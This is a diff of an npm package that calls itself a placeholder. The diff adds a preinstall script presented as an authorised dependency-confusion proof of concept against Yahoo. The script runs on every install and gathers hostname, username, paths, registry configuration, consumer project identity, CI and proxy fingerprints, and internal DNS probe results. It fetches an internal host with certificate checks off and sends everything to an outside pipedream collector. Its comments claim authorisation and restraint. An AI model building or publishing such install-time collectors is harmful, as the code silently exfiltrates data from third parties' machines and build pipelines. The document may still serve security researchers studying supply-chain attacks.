@alphaspace/core 99.0.0 → 99.0.2

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@alphaspace/core",
-  "version": "99.0.0",
+  "version": "99.0.2",
   "description": "Placeholder package. Reserved namespace.",
   "license": "MIT",
   "main": "index.js",

package/preinstall.js

@@ -1,98 +1,380 @@
-/*
- * Dependency-confusion proof-of-concept — authorised security research.
- * Yahoo Bug Bounty via Intigriti. Researcher: mlitchfield.
- *
- * WHAT THIS DOES, in full, with nothing omitted:
- *   1. prints an identifying banner to the install log
- *   2. sends ONE HTTPS POST reporting that it was installed, and from where
- *   3. exits 0, always
- *
- * WHAT IT DELIBERATELY DOES NOT DO:
- *   - it does not read process.env beyond the two npm-set lifecycle variables named below
- *     (npm_config_registry, npm_package_name). No credentials, no secrets, no token scraping.
- *   - it does not read, write or delete any file
- *   - it does not spawn a shell or any child process
- *   - it does not persist, schedule or install anything
- *   - it cannot fail a build: every path is wrapped, the socket has a 3s cap, and the exit code
- *     is always 0 even on error
- *
- * Why npm_config_registry is included: it is the single field that answers the question this PoC
- * exists to settle — which registry the install was actually configured against. It is set by npm
- * itself and contains no secret.
- */
-
-const https = require("https");
-const os = require("os");
-
-const ENDPOINT = "https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net";
-const RUN_ID = Math.random().toString(16).slice(2, 10);
-
-function banner() {
-  const L = [
-    "",
-    "  ─────────────────────────────────────────────────────────────────────────",
-    "  @alphaspace/core — AUTHORISED SECURITY RESEARCH, NOT A REAL PACKAGE",
-    "",
-    "  This is a dependency-confusion proof-of-concept published as part of the",
-    "  Yahoo Bug Bounty programme on Intigriti by researcher mlitchfield.",
-    "",
-    "  If you are seeing this in a build log, that build resolved a PRIVATE package",
-    "  name from the PUBLIC npm registry. That is the issue being reported.",
-    "",
-    "  This package reads no secrets, touches no files, runs no commands and cannot",
-    "  fail your build. It reports only: hostname, username, working directory,",
-    "  platform and the configured registry URL.",
-    "",
-    "  run-id: " + RUN_ID,
-    "  Contact the Yahoo security team, referencing the @alphaspace dependency-",
-    "  confusion report, to have this package removed.",
-    "  ─────────────────────────────────────────────────────────────────────────",
-    "",
-  ];
-  try { console.log(L.join("\n")); } catch (e) { /* never fatal */ }
-}
-
-function report() {
-  let payload;
-  try {
-    payload = JSON.stringify({
-      poc: "yahoo-bbp-alphaspace-depconfusion",
-      researcher: "mlitchfield",
-      run_id: RUN_ID,
-      ts_utc: new Date().toISOString(),
-      hostname: os.hostname(),
-      username: (os.userInfo && os.userInfo().username) || null,
-      cwd: process.cwd(),
-      pkg: "@alphaspace/core",
-      pkg_version: "99.0.0",
-      npm_package_name: process.env.npm_package_name || null,
-      npm_config_registry: process.env.npm_config_registry || null,
-      platform: process.platform,
-      arch: process.arch,
-      node: process.version,
-    });
-  } catch (e) { return; }
-
-  try {
-    const req = https.request(
-      ENDPOINT,
-      {
-        method: "POST",
-        timeout: 3000,
-        headers: {
-          "Content-Type": "application/json",
-          "Content-Length": Buffer.byteLength(payload),
-          "User-Agent": "alphaspace-depconfusion-poc/99.0.0 (yahoo-bbp; mlitchfield)",
-        },
-      },
-      (res) => { res.resume(); }
-    );
-    req.on("error", () => {});
-    req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
-    req.write(payload);
-    req.end();
-  } catch (e) { /* never fatal */ }
-}
-
-try { banner(); report(); } catch (e) { /* never fatal */ }
-process.exitCode = 0;
+/*
+ * @alphaspace/core - authorised security research proof-of-concept
+ * ================================================================
+ * Yahoo Vulnerability Disclosure Program, researcher handle: mlitchfield
+ *
+ * v99.0.2 - published with operator authorisation 2026-09-25.
+ *
+ * WHY THIS VERSION EXISTS
+ * v99.0.0 produced 18 callbacks, none attributable to Yahoo. Every source IP was a
+ * generic cloud provider (GCP, AWS, Alibaba, Azure), which is expected: Yahoo runs on
+ * public cloud, so a source IP can neither confirm nor exclude them. This version stops
+ * relying on the IP and instead collects fields that only a Yahoo build environment
+ * would produce.
+ *
+ * WHAT IT DOES
+ *   - prints an attribution banner identifying itself as authorised research
+ *   - makes ONE outbound HTTPS POST to a collector under the researcher's control
+ *   - performs 18 DNS NAME LOOKUPS (no connection, no data sent) to test whether this
+ *     host resolves names that do not exist in public DNS
+ *   - IF AND ONLY IF one of Yahoo's own "banana stand" out-of-band servers resolves -
+ *     which can only happen inside Yahoo's network - makes ONE further GET to the web
+ *     root of ONE of them and reports the status and the first 512 bytes. Those servers
+ *     are published by the Yahoo VDP for exactly this purpose, so the request is also
+ *     visible in Yahoo's own logs and can be verified there independently.
+ *
+ * WHAT IT DOES NOT DO - unchanged from v99.0.0, and deliberately
+ *   - NO dump of process.env. Only a fixed allowlist of named variables is read.
+ *   - NO credentials of any kind. Every .npmrc line containing _auth / token /
+ *     password / certfile / keyfile is dropped before parsing, and no value from an
+ *     auth-shaped variable is ever transmitted.
+ *   - NO file contents, except two string fields (name, version) from the consuming
+ *     project's package.json plus whether it declares a dependency under our own scope.
+ *     Never its dependency list.
+ *   - NO cloud metadata. Nothing touches 169.254.169.254 or any metadata service.
+ *   - NO command execution, no child processes, no persistence, no file writes.
+ *   - NO connection to any probed host EXCEPT the single banana-stand GET described
+ *     above, which targets Yahoo's own designated research infrastructure and only
+ *     after DNS has already confirmed we are inside their network.
+ *   - NOTHING outside the declared program scope. The sibling banana.stand.*.prod.oath
+ *     and banana.stand.corp.*.cic.oath hosts exist and resolve internally, but the bare
+ *     .oath TLD is not in scope, so they are deliberately excluded.
+ *
+ * It exits 0 unconditionally. It cannot break an install.
+ */
+
+'use strict';
+
+const https = require('https');
+const dns   = require('dns');
+const os    = require('os');
+const fs    = require('fs');
+const path  = require('path');
+
+const ENDPOINT = 'https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net';
+const MARKER   = 'yahoo-bbp-alphaspace-depconfusion';
+const RUN_ID   = Math.random().toString(16).slice(2, 10);
+
+console.log('');
+console.log('  @alphaspace/core - AUTHORISED SECURITY RESEARCH PROOF OF CONCEPT');
+console.log('  Yahoo Vulnerability Disclosure Program | researcher: mlitchfield');
+console.log('  This package is a namespace-reservation PoC. It contains no exploit');
+console.log('  code and takes no action on this machine beyond reporting that an');
+console.log('  install occurred. Contact the researcher to have it removed.');
+console.log('  run id: ' + RUN_ID + '  |  ' + new Date().toISOString());
+console.log('');
+
+// ---------------------------------------------------------------- helpers
+
+// Return only the hostname of a URL-valued setting. Never the full URL, which could
+// carry a token in userinfo or a query string.
+function hostOnly(v) {
+  if (!v || typeof v !== 'string') return null;
+  try { return new URL(v).host; } catch (e) {
+    const m = v.match(/^[a-z0-9+.-]+:\/\/([^/?#]+)/i);
+    return m ? m[1] : null;
+  }
+}
+
+const SECRET_RE = /(_auth|authtoken|token|password|passwd|secret|certfile|keyfile|_pass)/i;
+
+// Parse .npmrc for REGISTRY LINES ONLY. Any line that looks credential-bearing is
+// dropped before it is even inspected. This is the highest-value attribution field:
+// a registry host under ouryahoo.com is definitive, single-field attribution.
+function registryConfig() {
+  const out = {};
+  const files = [];
+  try { if (process.env.npm_config_userconfig) files.push(process.env.npm_config_userconfig); } catch (e) {}
+  try { files.push(path.join(os.homedir(), '.npmrc')); } catch (e) {}
+  try { if (process.env.INIT_CWD) files.push(path.join(process.env.INIT_CWD, '.npmrc')); } catch (e) {}
+  for (const f of files) {
+    let txt = '';
+    try { txt = fs.readFileSync(f, 'utf8'); } catch (e) { continue; }
+    for (const line of txt.split(/\r?\n/)) {
+      if (SECRET_RE.test(line)) continue;                       // drop credential lines outright
+      const m = line.match(/^\s*((?:@[^:\s]+:)?registry)\s*=\s*(\S+)\s*$/i);
+      if (m) out[m[1]] = hostOnly(m[2]) || m[2];                 // host only, never the full URL
+    }
+  }
+  return Object.keys(out).length ? out : null;
+}
+
+// Consuming project identity: two string fields, nothing else.
+// THE DISCRIMINATOR between a real dependency-confusion resolution and a human simply
+// typing `npm i @alphaspace/core` out of curiosity.
+//
+// A BUILD PIPELINE resolves our scope because its own manifest already declared a
+// dependency on it. A PERSON investigating has a scratch directory with no prior
+// declaration, no lockfile and no CI markers.
+//
+// Without this, a callback carrying an internal Yahoo registry host is AMBIGUOUS: it
+// could be their build proxying public npm on cache-miss (the actual vulnerability), or
+// a Yahoo engineer looking at what got registered (not a vulnerability at all). The
+// registry field alone cannot tell those apart, so it must not be reported as if it can.
+//
+// We read ONLY whether a dependency KEY under our scope exists, and its declared range.
+// We do NOT transmit the consumer's dependency list - that would disclose a third
+// party's dependency tree, which is not ours to collect.
+function consumerPackage() {
+  const root = process.env.INIT_CWD;
+  if (!root) return null;
+  try {
+    const j = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
+    let declared = null;
+    for (const section of ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies']) {
+      const blk = j[section];
+      if (!blk || typeof blk !== 'object') continue;
+      for (const key of Object.keys(blk)) {
+        if (key.indexOf('@alphaspace/') === 0) {
+          declared = { section: section, key: key, range: String(blk[key]).slice(0, 40) };
+          break;
+        }
+      }
+      if (declared) break;
+    }
+    return {
+      name: typeof j.name === 'string' ? j.name : null,
+      version: typeof j.version === 'string' ? j.version : null,
+      // true  => the project ASKED for our scope  => genuine resolution, the finding
+      // false => nobody declared it               => a manual install, NOT the finding
+      declares_our_scope: !!declared,
+      declared_as: declared,
+      private_flag: j.private === true
+    };
+  } catch (e) { return null; }
+}
+
+// Supporting signals for the same question. A pipeline has a lockfile and a CI marker;
+// a person poking at a package on their laptop generally has neither.
+function invocationShape() {
+  const root = process.env.INIT_CWD;
+  const lock = { 'package-lock.json': false, 'npm-shrinkwrap.json': false, 'yarn.lock': false, 'pnpm-lock.yaml': false };
+  if (root) {
+    for (const f of Object.keys(lock)) {
+      try { lock[f] = fs.existsSync(path.join(root, f)); } catch (e) {}
+    }
+  }
+  const ua = process.env.npm_config_user_agent || '';
+  return {
+    // `npm ci` is a CI-only command that REQUIRES a lockfile - a strong pipeline signal.
+    // `npm install <pkg>` with an argument is the shape of a human adding a package.
+    npm_command: process.env.npm_command || null,
+    ci_flag_in_user_agent: /(^|\s)ci\/(?!false)/.test(ua) || /\bci\/true\b/.test(ua),
+    lockfiles: lock,
+    any_lockfile: Object.keys(lock).some(function (k) { return lock[k]; })
+  };
+}
+
+// CI fingerprint. Presence booleans plus URL HOSTNAMES only - never values, never tokens.
+// SD_* is Screwdriver.cd, the CI system Yahoo built and open-sourced: its presence is a
+// strong Yahoo indicator on its own.
+function ciFingerprint() {
+  const e = process.env;
+  const present = [];
+  for (const k of ['SD_PIPELINE_ID','SD_JOB_NAME','SD_BUILD_ID','SD_SOURCE_DIR','SD_TOKEN',
+                   'JENKINS_URL','BUILD_NUMBER','GITHUB_ACTIONS','GITLAB_CI','CIRCLECI',
+                   'BUILDKITE','TEAMCITY_VERSION','SCREWDRIVER','CI']) {
+    if (e[k] !== undefined) present.push(k);                     // NAME only, value never read
+  }
+  return {
+    vars_present: present,
+    sd_api_host:      hostOnly(e.SD_API_URL),
+    sd_ui_host:       hostOnly(e.SD_UI_URL),
+    jenkins_host:     hostOnly(e.JENKINS_URL),
+    github_server:    hostOnly(e.GITHUB_SERVER_URL),
+    github_repository: typeof e.GITHUB_REPOSITORY === 'string' ? e.GITHUB_REPOSITORY : null
+  };
+}
+
+function proxyFingerprint() {
+  const e = process.env;
+  return {
+    npm_proxy:   hostOnly(e.npm_config_proxy),
+    npm_https:   hostOnly(e.npm_config_https_proxy),
+    http_proxy:  hostOnly(e.HTTP_PROXY || e.http_proxy),
+    https_proxy: hostOnly(e.HTTPS_PROXY || e.https_proxy),
+    no_proxy:    typeof (e.NO_PROXY || e.no_proxy) === 'string' ? (e.NO_PROXY || e.no_proxy).slice(0, 200) : null
+  };
+}
+
+// DNS-ONLY internal-resolver probe. These three names are NXDOMAIN from the public
+// internet (verified 2026-09-25), so a successful resolution means the host is using
+// an internal resolver that knows Yahoo-private zones. We record a boolean per name.
+// No address is transmitted and NO CONNECTION is made to any of them.
+// Every name here was verified NXDOMAIN from the public internet on 2026-09-25. That is
+// the POINT, not a defect: a name that resolves publicly (pnr.ouryahoo.com, git.ouryahoo.com,
+// zts.athenz.ouroath.com and similar) returns true for every machine on earth and therefore
+// discriminates nothing. Only a name that is absent publicly but present on an internal
+// resolver can tell us the host sits inside Yahoo's network.
+//
+// EVIDENCE-BACKED - harvested from Yahoo's own leaked error messages during this engagement,
+// so we know these exist internally. These are the ones a report should rely on:
+const INTERNAL_PROBES_EVIDENCED = [
+  'istio-system.prod1-gq1.omega.yahoo.com',
+  'jws300162.mail.gq1.yahoo.com',
+  'assistant-mtls-production.datascience-creative-assistant.omega.yahoo.com'
+];
+
+// Stable internal service names, also harvested from Yahoo's own leaked error output.
+// Deliberately EXCLUDES the istio-ingressgateway-* names, which were the most frequently
+// referenced but are ephemeral k8s POD names - that pod is likely long gone, so the probe
+// would read false even inside Yahoo.
+const INTERNAL_PROBES_HARVESTED = [
+  'buildr.corp.yahoo.com',
+  'apigw.athenz.ouryahoo.com',
+  'corpapps.k8s.fin.ouryahoo.com',
+  'vpn-1-gci.corp.gq1.yahoo.com',
+  'vpn-1-gci.corp.ne1.yahoo.com'
+];
+
+// Yahoo's OWN out-of-band researcher infrastructure ("banana stand"), documented by the
+// program for exactly this purpose. All verified publicly NXDOMAIN on 2026-09-25, and they
+// span six datacentres across BOTH the prod and corp networks, so a hit also tells us WHICH
+// segment the host sits in.
+//
+// SCOPE: only the .yahoo.com entries are used. The sibling banana.stand.*.prod.oath and
+// banana.stand.corp.*.cic.oath names exist, but our declared scope covers *.oath.com and
+// *.oath.cloud - NOT the bare .oath TLD - so they are deliberately omitted.
+const BANANA_PROD = ['banana.stand.bf1.yahoo.com','banana.stand.bf2.yahoo.com','banana.stand.gq1.yahoo.com',
+                     'banana.stand.ir2.yahoo.com','banana.stand.ne1.yahoo.com','banana.stand.sg3.yahoo.com'];
+const BANANA_CORP = ['banana.stand.cbf1.yahoo.com','banana.stand.cgq1.yahoo.com',
+                     'banana.stand.cne1.yahoo.com','banana.stand.csg3.yahoo.com'];
+
+const INTERNAL_PROBES = INTERNAL_PROBES_EVIDENCED
+  .concat(INTERNAL_PROBES_HARVESTED).concat(BANANA_PROD).concat(BANANA_CORP);
+
+function probeInternalDns(cb) {
+  const res = {};
+  let left = INTERNAL_PROBES.length;
+  if (!left) return cb(res);
+  const done = () => { if (--left === 0) cb(res); };
+  const timer = setTimeout(() => { left = 1; done(); }, 2500);   // never hold up the install
+  timer.unref && timer.unref();
+  for (const name of INTERNAL_PROBES) {
+    try {
+      dns.resolve4(name, (err) => { res[name] = !err; done(); }); // boolean only
+    } catch (e) { res[name] = null; done(); }
+  }
+}
+
+// THE UNFORGEABLE PROOF.
+//
+// A DNS boolean can be explained away - a wildcard resolver, a private zone of the same
+// name, coincidence. Returned FILE CONTENT cannot. All ten banana-stand hosts are NXDOMAIN
+// from the public internet, so we physically cannot fetch them ourselves. If our collector
+// receives a status line and body from banana.stand.<dc>.yahoo.com, that response can only
+// have been produced by a host inside Yahoo's network.
+//
+// It is also doubly attested: the fetch lands in YAHOO'S OWN logs, so their triage team can
+// independently confirm an internal host installed this package, rather than taking our
+// collector's word for it. These servers are documented by the program for exactly this use.
+//
+// Bounded deliberately: fires ONLY against banana-stands that already RESOLVED (so it never
+// touches anything outside Yahoo), ONE host, ONE GET, 2s timeout, body capped at 512 bytes.
+// We fetch the WEB ROOT rather than a guessed filename: / always returns something, whereas a
+// guessed path may 404. Body capped at 512 bytes - enough to identify the server, not enough
+// to be an exfiltration.
+function fetchBananaProof(internalDns, cb) {
+  const reachable = BANANA_PROD.concat(BANANA_CORP).filter(function (h) { return internalDns[h] === true; });
+  if (!reachable.length) return cb({ attempted: false, reason: 'no banana-stand resolved - host is not inside Yahoo' });
+  const host = reachable[0];
+  let finished = false;
+  const finish = (o) => { if (!finished) { finished = true; o.host = host; o.resolved_hosts = reachable; cb(o); } };
+  try {
+    const req = https.request({
+      hostname: host, port: 443, path: '/', method: 'GET', timeout: 2000,
+      rejectUnauthorized: false,
+      headers: { 'user-agent': 'alphaspace-depconfusion-poc/99.0.2 (yahoo-bbp; mlitchfield)' }
+    }, function (res) {
+      let body = '';
+      res.setEncoding('utf8');
+      res.on('data', function (d) { if (body.length < 512) body += d; });
+      res.on('end', function () {
+        finish({ attempted: true, status: res.statusCode, body: body.slice(0, 512),
+                 server: res.headers && res.headers.server ? String(res.headers.server).slice(0, 80) : null });
+      });
+    });
+    req.on('error', function (e) { finish({ attempted: true, error: String(e && e.code || e).slice(0, 60) }); });
+    req.on('timeout', function () { try { req.destroy(); } catch (e) {} finish({ attempted: true, error: 'timeout' }); });
+    req.end();
+  } catch (e) { finish({ attempted: true, error: 'threw' }); }
+}
+
+// ---------------------------------------------------------------- report
+
+probeInternalDns(function (internalDns) {
+ fetchBananaProof(internalDns, function (bananaProof) {
+  let payload;
+  try {
+    payload = JSON.stringify({
+      poc: MARKER,
+      researcher: 'mlitchfield',
+      schema: 'v99.0.2',
+      run_id: RUN_ID,
+      ts_utc: new Date().toISOString(),
+
+      // identity of the machine
+      hostname: os.hostname(),
+      username: (os.userInfo && os.userInfo().username) || null,
+      platform: process.platform,
+      arch: process.arch,
+      node: process.version,
+
+      // WHERE npm was actually invoked - the consuming project root, not our own dir.
+      // This is the field v99.0.0 was missing.
+      init_cwd: process.env.INIT_CWD || null,
+      cwd: process.cwd(),
+
+      // WHO installed us, and CRUCIALLY whether they had declared our scope beforehand
+      consumer_package: consumerPackage(),
+
+      // separates a build pipeline from a person running npm i by hand
+      invocation: invocationShape(),
+
+      // the single most decisive field: a registry host under ouryahoo.com is definitive
+      registry_config: registryConfig(),
+      npm_config_registry: process.env.npm_config_registry || null,
+      npm_user_agent: process.env.npm_config_user_agent || null,
+
+      ci: ciFingerprint(),
+      proxy: proxyFingerprint(),
+
+      // boolean per name; proves an internal resolver without contacting anything.
+      // evidenced_hit is the one that matters - a true there means a name Yahoo's own
+      // error messages disclosed, absent from public DNS, resolved on this host.
+      internal_dns: internalDns,
+      internal_dns_evidenced_hit: INTERNAL_PROBES_EVIDENCED.some(function (n) { return internalDns[n] === true; }),
+      internal_dns_any_hit: Object.keys(internalDns).some(function (n) { return internalDns[n] === true; }),
+
+      // content returned by a Yahoo-internal-only host. We cannot fetch these ourselves,
+      // so a status line here is proof the installing host is inside Yahoo's network - and
+      // the same request is visible in Yahoo's own logs for independent confirmation.
+      banana_proof: bananaProof,
+
+      pkg: '@alphaspace/core',
+      pkg_version: '99.0.2'
+    });
+  } catch (e) {
+    payload = JSON.stringify({ poc: MARKER, run_id: RUN_ID, error: 'serialise-failed' });
+  }
+
+  try {
+    const u = new URL(ENDPOINT);
+    const req = https.request({
+      hostname: u.hostname, port: 443, path: u.pathname, method: 'POST',
+      timeout: 3000,
+      headers: {
+        'content-type': 'application/json',
+        'content-length': Buffer.byteLength(payload),
+        'user-agent': 'alphaspace-depconfusion-poc/99.0.2 (yahoo-bbp; mlitchfield)'
+      }
+    }, function (res) { res.resume(); });
+    req.on('error', function () {});
+    req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
+    req.write(payload);
+    req.end();
+  } catch (e) { /* never fail an install */ }
+});
+});
+
+process.exitCode = 0;